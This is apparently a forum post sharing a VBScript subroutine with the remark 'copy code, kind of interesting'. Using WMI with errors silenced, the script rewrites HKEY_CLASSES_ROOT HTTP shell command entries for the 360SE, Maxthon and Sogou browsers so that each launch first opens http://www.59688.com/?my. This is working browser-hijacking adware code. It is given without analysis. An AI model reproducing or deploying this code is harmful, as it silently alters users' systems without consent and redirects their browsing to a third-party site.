- Public Sub SetRegDefaultOpenUrl()
- On Error Resume Next
- dim url
- url="http://www.59688.com/?my"
- dim ie_temp_path
- ie_temp_path=GetWebBrowserPath() '获取一个浏览器路径
- Set fso = CreateObject("Scripting.FileSystemObject")
- If not fso.FileExists(ie_temp_path) Then '不存在则读取默认
- ie_temp_path=iePath
- End If
- Set fso = Nothing
- Const HKEY_CLASSES_ROOT = &H80000000
- strComputer = "."
- Set StdOut = WScript.StdOut
- Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" & strComputer & "\root\default:StdRegProv")
-
- strKeyPath = "HTTP\shell\360SE.exe\command"
- kkbbzz1Name = ""
-
- oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
- kkbbzz1Name,kkbbzz1
-
- if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
- '写入值到节点
- kkbbzz1Name = ""
- kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
- oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
- end if
-
- strKeyPath = "HTTP\shell\open\command"
- kkbbzz1Name = ""
- oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
- kkbbzz1Name,kkbbzz1
-
- if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
- '写入值到节点
- kkbbzz1Name = ""
- kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
- 'oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
- end if
-
- strKeyPath = "HTTP\shell\Maxthon2\command"
- kkbbzz1Name = ""
-
- oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
- kkbbzz1Name,kkbbzz1
-
- if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
- '写入值到节点
- kkbbzz1Name = ""
- kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
- oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
- end if
-
- strKeyPath = "HTTP\shell\SogouExplorer\command"
- kkbbzz1Name = ""
-
- oReg.GetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,_
- kkbbzz1Name,kkbbzz1
-
- if kkbbzz1<>"" or instr(kkbbzz1,url)=0 then
- '写入值到节点
- kkbbzz1Name = ""
- kkbbzz1 = """" & ie_temp_path & """" & " " & url & " " & "%1"
- oReg.SetExpandedStringValue HKEY_CLASSES_ROOT,strKeyPath,kkbbzz1Name,kkbbzz1
- end if
- End Sub
复制代码 有点意思
|